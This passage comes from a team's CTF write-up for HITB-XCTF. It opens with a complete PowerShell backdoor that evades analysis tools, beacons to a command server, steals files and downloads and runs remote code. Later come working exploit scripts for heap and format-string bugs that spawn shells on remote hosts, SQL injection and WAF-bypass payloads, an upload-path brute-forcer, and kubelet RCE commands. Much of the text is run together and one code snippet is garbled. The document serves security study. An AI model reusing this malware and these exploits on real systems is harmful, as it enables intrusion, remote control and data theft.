$STATUS_INIT$task = $null$running = $True $pubk = (1501,377753) function get-Md5Hash($str){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-'} function get-ComputeName{ try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; }} function get-clientID{ try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName }}function Reg-Info{ $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function get-Task{ $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function EttRRRRRRhd ( $tid , $taskinfo ){ $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json} function check_VM(){ $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } }} function YTRKLJHBKJHJHGV($msg){ while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) # $webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } }} function POIUIGKJNBYFF($msg){ $msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e} function YNHGFOI8YIUGH( $str ){ return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))} function VCDHJIIDDSQQQ( $b64 ){ return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))} function POPOUIUJKKKI($file){ return YNHGFOI8YIUGH (Get-Content $file)} function MJOOLLFGFASA($name){ $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result } function DXCFGIOUUGKJB764($x, $h, $n){ $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y} function OPKE3989hYYY($pk , $plaintext){ $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr}function OKMNHGGGGSSAAA($pk,$enctext){ $key , $n = $pk $txt = "" $enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt} function UIHIUHGUYGOIJOIHGIHGIH($cmd){ $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue }return @($i , $d)} $MuName = 'Global\_94_HACK_U_HAHAHAHAHA'$retFlag = $flase$Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)if ($retFlag){ $Result = $True}else{ $Result = $False} if ($Result){ while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null}else{ }``` They use `rsa` to encrypt message. the n is easy to factor. Still, we can find out the encrypted message from pcap file. We also extract two things from those message. The first one is a rar file, the second is a ps1 script. We cannot open the rar file. After a few hour, the host change the challenge. Now we have flag part1 instead of rar file. The flag part1 is `HITBXCTF{W0rk_1n_th3_dark_` Let's see the ps1 script. It actually generate a exe file at the temp directory. Then, we can reverse that exe file. I found out that it's trying to write something on MBR. The final step is reversing what it write on MBR. It's 80286 architecture. Now we just need decode the encryted flag part2.```python=ciphertext='%\xa19\x89\xa6\x9d\xd5\xa5u\x8dJ\x92\xf1Y^\x91'def ror(a,b): return (a>>b)|(a<<(8-b))def rol(a,b): return (a<<b)|(a>>(8-b))flag=""table=[]#maintain a tablefor j in range(256): x=j x=ror(x,3)%256 x^=0x74 x=rol(x,5)%256 x+=0x47 x%=256 if(x%2==0): teble.append(x-1) else: table.append(x+1)for i in ciphertext: flag+=chr(table.index(ord(i)))print flag``` ### sdsun (sces60107 sasdf) The first thing you will notice is that the binary is packed by upx. The way I unpack the binary is using gdb. I let the binary exectue for a while. It will be unpacked in the memory. So I can dump the whole memory in gdb. Now I have the unpacked binary. but it is hard to understand it. I found some feature indicating that this binary is written in Go language. Then I use this [script](https://gitlab.com/zaytsevgu/goutils/blob/master/go_renamer.py) to recover the symbol. It will be much easier to understand this binary.![](https://i.imgur.com/ysBuyUy.png) It seems like there is a backdoor. This binary will listen to a random port. And it will output the port number. The communication with the backdoor is compressed. and it use zlib. Also, the communication format is json. The backdoor will give you flag if your command is `{"action":"GetFlag"}`. We found this rule in `main.Process`![](https://i.imgur.com/w487Voi.png) Now we have the flag `HITB{4e773ff1406800017933c9a1c9f14f35}` ### hex (sasdf)A arduino challenge, data is in intelhex format. I use helper script `hex2bin.py` from intexHex python library to generate binary. #### First tryLoaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)```asmldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xffaldi r22, 0xf4ldi r23, 0x01ldi r24, 0x00ldi r25, 0x00call 0xbdaldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xf62ldi r22, 0x88ldi r23, 0x13ldi r24, 0x00ldi r25, 0x00call 0xbda```I dumped all `XX` bytes in previous pattern but didn't figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile `fcn.ffa` to following (wrong) psuedo code:```pythonr26 = 0x77if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0else: r22 + 0x78 if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22 fcn_e7e()```I gave up. #### Second tryAfter the third hint `Keyboard` is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here's source code from Arduino's Keyboard library:```C++size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1;}```Ahh, `fcn.ffa` is `Keyboard::_press`!! It turns out that `fcn.f62` is `Keyboard::_release` and `fcn.bda`, which use timer register `TCNT0`, is `delay`. Take our previous dump of parameters, convert it to keystroke, and the flag shows up.``` $##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$` |#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%. ;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%. |#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$` |#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$` |#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.``` P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed. ## misc ### tpyx (sces60107) The png file is broken. It seems like We need to fix it first.`pngcheck` tell us that it has crc checksum error```shell$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 653 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 1162839 zlib: deflated, 32K window, default compression CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png``` When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839 After corrected all faults, just use `zsteg` to detect any interesting things and also extract them.```shell$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4efextradata:imagedata .. file: zlib compressed data......$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data$ cat data377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d$ cat data | xxd -r -p > data$ file datadata.7z: 7-zip archive data, version 0.3 ```Now we have a 7z file, but we need password.The 7z file is actually appended with the password.```shell$ xxd data00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==..Extracting flag..$ cat flagHITB{0c88d56694c2fb3bcc416e122c1072eb}``` ### readfile (sces60107) It seems like the non-punctuation letter will be filtered. So I try to readfile with `Arithmetic expansion` The payload is `$(</????/????_??_????/*)` Then we can read the flag `HITB{d7dc2f3c59291946abc768d74367ec31}` ### pix (sces60107) Use `zsteg` to extract a keepassX database file ```shell$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGateimagedata .. text: " !#865 "b1,r,msb,xy .. text: "y5b@2~2t"b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBXb2,r,msb,xy .. text: "\rP`I$X7D"b2,bgr,lsb,xy .. text: "b;d'8H~M"b4,g,msb,xy .. text: ";pTr73& dvG:"$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > keedatabase.kbdx``` Now we have to launch a dictionary attack against this database. then I found [this](https://www.rubydevices.com.au/blog/how-to-hack-keepass) Finally, I found the password and also found the flag found the flag from the database. The flag is `HITB{p1x_aNd_k33pass}` ## pwn ### once (kevin47) #### Vulnerability* Fd and bk of the link list can be overwritten #### Exploit```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.189.102', 9999)lib = ELF('./libc-2.23.so') # leakr.sendline('0')r.recvuntil('choice\n')x = r.recvuntil('>', drop=True)libc = int(x, 16) - 0x6f690lib.address = libcprint hex(libc) # stage 1# overwrite bkr.sendline('2')ubin = libc + 0x3c4b70-8+0x10+8r.send(flat(0xdeadbeef, 0x101, 0xdeadbeef, ubin))r.sendlineafter('>', '1')# unlinkr.sendlineafter('>', '3') # ubin -> bss # stage 2#r.sendline('4')r.sendlineafter('>', '4')# alloc on bssr.sendlineafter('>', '1')r.sendlineafter('size:', str(0x100-8))# write bssstdout, stdin = libc+0x3c5620, libc+0x3c48e0binsh = libc+1625367payload = [ 0, lib.symbols['__free_hook'], # link list bk to overwrite free hook stdout, 0, stdin, 0, 0, binsh, # ptr containing "/bin/sh" [0]*10, # flags = 0]r.sendlineafter('>', '2')r.send(flat(payload))# we can edit1 again :), plus bk is on free hook# back to stage 1r.sendlineafter('>', '4') # ovewrite free_hookr.sendlineafter('>', '2')r.send(flat(lib.symbols['system'])) # stage 2r.sendlineafter('>', '4')# free(ptr) == system("/bin/sh")r.sendlineafter('>', '3') r.interactive() # HITB{this_is_the_xxxxxxx_flag}``` ### gundam (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled```There are 4 operations:1. Build a gundam2. Visit gundams3. Destroy a gundam4. Blow up the factory The structure of a gundam is:``` +---------+ |flag | 0x100 +---------+ +--------------------+ |name_ptr |---->| name | 0x28 +---------+ +--------------------+ |type(str)| | | | | +---------|```* An array of pointer to the gundam structure is on bss.* When a gundam is builded, the program malloc chunks of size 0x28 and 0x100 as shown above, set them properly, and store into the array of pointer on bss.* Visit gundams prints gundams' index, name and type that are not destroyed.* Destroy a gundam sets the flag to 0 and frees the name* Blow up the factory frees the gundam structures that flag are 0. #### Vulnerability* Read name without ending null byte, which can be used to leak.* Destroy a gundam does not clear the name_ptr, which leads to use after free (double free).* The program is running with libc-2.26, which implemented a new feature called tcache to improve performance. However, it does not perform any sanity check for performance's sake. That is, fastbin dup attack can be done anywhere any size without satisfying the size's contraint. #### Leak* Leaking libc addres will be a little bit more complicated than older versions of libc, since tache acts like fastbins and only have heap address on it.* However, tcache has a maximun of 7 chunks. By freeing more than 7 chunks, the remaining chunks will be treated as usual. That is, the chunks of size 0x100 will be at unsorted bins and small bins rather than tache, which contains libc address. #### Exploit* Leak libc and heap addresses.* Use fastbin dup attack to malloc a chunk on **&__free_hook**. Note that in older version of libc we have to `free(a); free(b); free(a);` to bypass double free check. But tache doesn't check, so it can be done simply by `free(a); free(a);`* Overwrite **__free_hook** to **system**. After that, Destroying a gundam with the name `/bin/sh`, which calls `free(name)` will be converted to `system("/bin/sh")` ``` python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.37.114', 9999)lib = ELF('./libc.so.6') def build(name, typee): r.sendlineafter('choice : ', '1') r.sendafter('gundam :', name) r.sendlineafter('gundam :', str(typee)) def visit(): r.sendlineafter('choice : ', '2') return r.recvuntil('1 . Build', drop=True) # double freedef destroy(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('Destory:', str(idx)) def blow_up(): r.sendlineafter('choice : ', '4') # leakfor i in range(9): build(chr(0x11*(i+1))*16, 0)for i in range(8): destroy(i)blow_up()for i in range(7): build(chr(0x11*(i+1)), 0)build('a'*8, 0)x = visit()xx = re.findall('0\] :(.*)Type\[0', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x811xx = re.findall('aaaaaaaa(.*)Type\[7', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3dac78lib.address = libcprint hex(heap)print hex(libc) # exploit# trigger double free libc 2.26 doesn't do any sanity check on tcache# libc 2.26 is awesome!!destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(flat(lib.symbols['__free_hook']), 0)build('/bin/sh\x00', 0)build(flat(lib.symbols['system']), 0)destroy(1) #embed()r.interactive() # HITB{now_you_know_about_tcache}``` ### d (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```There are 3 operations:1. Read message2. Edit message3. Wipe message * On read message, we enter a base64 encoded string, the program decodes it and stores in the heap, with ending null byte* Edit message read `strlen(message)` bytes to the message.* Wipe message frees the message and clears the pointer #### Vulnerability* Base64 decode does not check the length properly. If we send `'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ'` which is `base64encode('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')` without the ending `'=='`, the decoder miscalculates the length of the string, which leads to no ending null byte. Edit message then could be used to overwrite next chunk's size. #### Exploit* Use poinson null byte to create overlapped chunks.* Use fastbin dup attack to malloc a chunk on bss, where the pointers are.* We can overwrite the pointers, which leads into arbitrary memory write.* Change free@got to puts@plt, this enable us to leak libc address.* Change atoi@got to system. After this, when reading choice we can enter `/bin/sh`, which calls `atoi(buf)` that is `system('/bin/sh')` now.```python #!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.154.113', 9999) def new_msg(idx, content): r.sendlineafter('Which? :', '1') r.sendlineafter('Which? :', str(idx)) r.sendlineafter('msg:', content) def edit_msg(idx, content, pwn=0): r.sendlineafter('Which? :', '2') r.sendlineafter('Which? :', str(idx)) if pwn: r.sendafter('msg:', content) else: r.sendlineafter('msg:', content) def del_msg(idx): r.sendlineafter('Which? :', '3') r.sendlineafter('Which? :', str(idx)) def b64e(c): return c.encode('base64').replace('\n', '') def exp_new_msg(idx, content): b64 = b64e(content) if b64[-2] == '=': new_msg(idx, b64[:-2]) elif b64[-1] == '=': new_msg(idx, b64[:-1]) else: new_msg(idx, b64) # 40 & 41 are the magic numbers :)exp_new_msg(0, 'a'*40)new_msg(1, b64e('a'*0x203))new_msg(2, b64e('a'*0x100))edit_msg(1, flat( [0xdeadbeef]*28, 0xf0, 0x20, 0, 0, [0xaabbccdd]*30, 0x200, 0x120,)) # overflow 1's size (unsorted bin)del_msg(1)edit_msg(0, 'a'*40) new_msg(3, b64e('b'*0x100))new_msg(4, b64e('c'*0x60))del_msg(3)del_msg(2)# for fastbin attackdel_msg(4) # overlapped chunks, overwrite fastbin->fdnew_msg(5, b64e('d'*0x200))fast_bin_addr = 0x60216dedit_msg(5, flat( [0]*32, 0, 0x71, fast_bin_addr,)) new_msg(6, b64e('a'*0x60))# on bssnew_msg(60, b64e('A'*0x60))free_got = 0x602018strlen_got = 0x602028atoi_got = 0x602068puts_plt = 0x400770alarm_plt = 0x4007b0edit_msg(60, 'BBB'+flat(free_got, atoi_got, atoi_got, strlen_got)) # free -> putsedit_msg(0, flat(puts_plt))# free(1) == puts(atoi_got)del_msg(1)x = r.recvuntil('1. read')xx = x[8:14].ljust(8, '\x00')libc = u64(xx)-0x36e80system = libc + 0x45390print 'libc:', hex(libc) # strlen -> alarm to bypass read_n len restrictionedit_msg(3, flat(alarm_plt))# atoi -> systemedit_msg(2, flat(system)[:-1])r.sendline('/bin/sh') r.interactive() # HITB{b4se364_1s_th3_b3st_3nc0d1ng!}``` ### babypwn (how2hack) #### VulnerabilityA challenge with format string vulnerability without given binary. #### SolutionMy first intuition is to find the `.got.plt` section and overwrite something into `system`. As the binary has no PIE enabled (can find out by leaking some address out and you will notice there are a lot of address start with `0x40XXXX` or `0x60XXXX`), we can guess the `.got.plt` section is around `0x601000`. ```0x601000 0x202020600e200x601008 0x7fb6b46171680x601010 0x7fb6b44078700x601018 0x7fb6b409c6b00x601020 0x102020202020 # ????0x601028 0x7fb6b4094d800x601030 0x7fb6b4123d60```I was unable to leak `0x601020` for some reason.I try to leak the called functions as well.```0x4003c5 gets ?@0x4003ca stdin ?@0x4003d0 printf ?@0x4003d7 stdout ?@0x4003de stderr ?@0x4003e5 usleep ?@0x4003ea setbuf ?@0x4003f1 __libc_start_main ?@```Then I have to leak the libc version, but I am too lazy to do it so I try to find my local libc and check for the offset.```gets: 0x6ed80 (0x601028)printf: 0x55800 (0x601020)?usleep: 0xfdd60 (0x601030)```Now I understand why `0x601020` was unable to leak because of the null byte of its offset. I confirmed this by checking `0x601021` and I got this:```0x601021 0x7f3e9ac0d8 (end with '8', so the offset should be '800')```Finally, overwrite `printf` to `system` then we get the shell. #### Exploit```python#!/usr/bin/env python from pwn import * host = '47.75.182.113'port = 9999 r = remote(host, port) def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = '%' + str(result) + 'c' elif prev == word: result = 0 else: result = 256 - prev + word fmtstr = '%' + str(result) + 'c' fmtstr += '%' + str(index) + '$hhn' return fmtstr sleep(5) system_off = 0x45390printf_plt = 0x601020gets_plt = 0x601028gets_off = 0x6ed80 payload = '%7$s ' + p64(gets_plt)r.sendline(payload)gets = u64(r.recv(1000, timeout=1)[:6].ljust(8, '\x00'))print 'gets:', hex(gets) libc = gets - gets_offprint 'libc:', hex(libc) system = libc + system_offprint 'system:', hex(system) payload = ''prev = 0for i in range(3): payload += fmt(prev, (system >> 8 * i) & 0xff, 11 + i) prev = (system >> 8 * i) & 0xff payload += 'A'*(8 - (len(payload) % 8))payload += p64(printf_plt) + p64(printf_plt+1) + p64(printf_plt+2) r.sendline(payload) r.recv(1000)sleep(1) r.sendline('/bin/sh')r.sendline('cat flag')flag = r.recvline() log.success('FLAG: ' + flag)``````[+] Opening connection to 47.75.182.113 on port 9999: Donegets: 0x7f99aca0dd80libc: 0x7f99ac99f000system: 0x7f99ac9e4390[+] FLAG: HITB{Baby_Pwn_BabY_bl1nd}[*] Closed connection to 47.75.182.113 port 9999``` ## web ### Upload (bookgin) #### Find the targetFirst, we can upload some images to the server. With some manual tests, we found we can upload `.PHP` to the server, since `.php` is WAFed. Addiotionally, we notice that the server OS is running Microsoft IIS, so the filesystem is case-insensitive. Next, we have to dig how to access our webshell. We have no idea the directory name of the uploaded files. Therefore, the objective is very clear: retrieve the path name of the directory. It's Windows+PHP, so let's give this a try. Refer to [onsec whiltepaper - 02](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) page 5. I even write a post about this feature in [my blog](https://bookgin.github.io/2016/09/07/PHP-File-Access-in-Windows/) (in Chinese). #### Brute force the path and RCEHere is the brute script: ```python#!/usr/bin/env python3# Python 3.6.4import requestsimport stringsess = requests.session() name = ''while True: print(name) for i in string.digits + string.ascii_letters: guess = name + str(i) if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text: name += str(i) break``` We have RCE now. Next, we found the flag is in `../flag.php`, but some php useful function is disabled. A quick bypass is `highlight_file`. Here is the web shell:```phpuser->updateavatar($data)) quit('Something error!');} else{ //TODO!report it! $out="Your avatar is invalid, so we reported it".""; $report=$this->user->getreport(); if($report){ $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and report type is ".$report[3]; } include("templates/error.html"); if(!$this->user->report(1)) quit('Something error!'); die();} ``` Also, when insering a new report, it seems vulnerable to SQL injection. Unlike other edting features in the website, the email address here is not properly escaped through `addslashes()`. ```phpfunction report($type_id){ return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));} ``` But how to trigger this error in order to create a new report? We have to make the test failed `file_exists($avatar)`. The `$avatar` is the filepath of our avatar, and the fiepath is `upload/[USERNAME].png`. In order to make the file somehow "disappeared", we can make avatar.filepath length limit `varchar(300)` in the SQL schema very long, because in the source code:```php$filename="uploads/".$this->user->getuser().".".$type;if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type));``` Simply register a user with username length 300, and the avatar.filepath will be truncated. Next, in order to exploit SQL injection, we have to bypass the email format regex check and another filter. #### Bypass WAFs ##### Email format regex check```phpif(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$value)) return false;``` Taking a closer look, we found it can be bypassed using double quotes. This is a valid email address `"', 17385)#'"@a.aa`. ##### Hacker Filter ```php$preg="\\b(benchmark\\s*?\\(.*\\)|sleep\\s*?\\(.*\\)|load_file\\s*?\\()|UNION.+?SELECT\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)|UPDATE\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|\'|\").*?(`|\'|\"))FROM(\\{.+\\}|\\(.+\\)|\\s+?.+?|(`|\'|\").*?(`|\'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";if(preg_match("/".$preg."/is",$string)){ die('hacker');} ``` This regex almost filters all the useful keywords in SQL. However, we note that the first character `b` in the regex, which means [word match](http://php.net/manual/en/function.preg-match.php#105924). Thus, we can just append a MySQL comment `/**/` to bypass the filter! #### Get the flag The payload will be like this. In order to creat a valid SQL query, the `#` is required to comment out the trailing `@a.aa` in the email address.```"', 12), (10272, (SELECT * FROM/**/ users), 9487)#"@a.aa``` So the raw SQL query in the server side becomes:```insert into reports (`...`, `...`) values (9453 , '"', 12), (10272, (SQLi PAYLOAD), 9487)#"@a.aa' , 1 )``` After retriving the table and column name using group_concat and information_schema, we are able to get the flag. Final payload: `"', 9453), (10272, (SELECT GROUP_CONCAT(fllllag_is_hhhhere) FROM/**/ fffflag_is_here), 9487)#"@a.aa` The flag is `HITB{2e9ular131mp0rt4nt}`. Refer to [SQL injection cheatsheet by pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) ### baby baby (bookgin) #### Recon The NMAP scanning result shows 3 ports are opened: - 80: HTTP + nginx- 9999: HTTP + nginx- 10250: HTTPS + unkownn backend First, the 80 port webserver is running PHP as backend. For the port 9999, it returns 403 forbidden when accessing the root. How about trying to access `index.php` ? To our surprise we got this: ```phpThis is a pentest challenge, open your mind! ``` Note that ther are 2 underscores. After wasting 2 hours on finding a way to exploit this backdoor, we think this direction is incorrect. It's just a troll. So how about the 10250 port? We use Dirbuster to brute force the filepath at a very low rate (2 request per second), to not affect other teams. Quickly it finds 2 intersting pages: - https://47.75.146.42:10250/metrics- https://47.75.146.42:10250/stats After Googling, this is related to kubelet API. Acctually, we can just Google the port number and found it. However we fotgot to do that...... It's really dumb to do directory name brute force. Another quick Google, we found the kubelet API is vulnerable to RCE. Refer to https://github.com/bgeesaman/hhkbe, page P.35. #### RCE - Get the info of running pods: `curl -sk https://47.75.146.42:10250/runningpods/`- RCE: `curl -sk 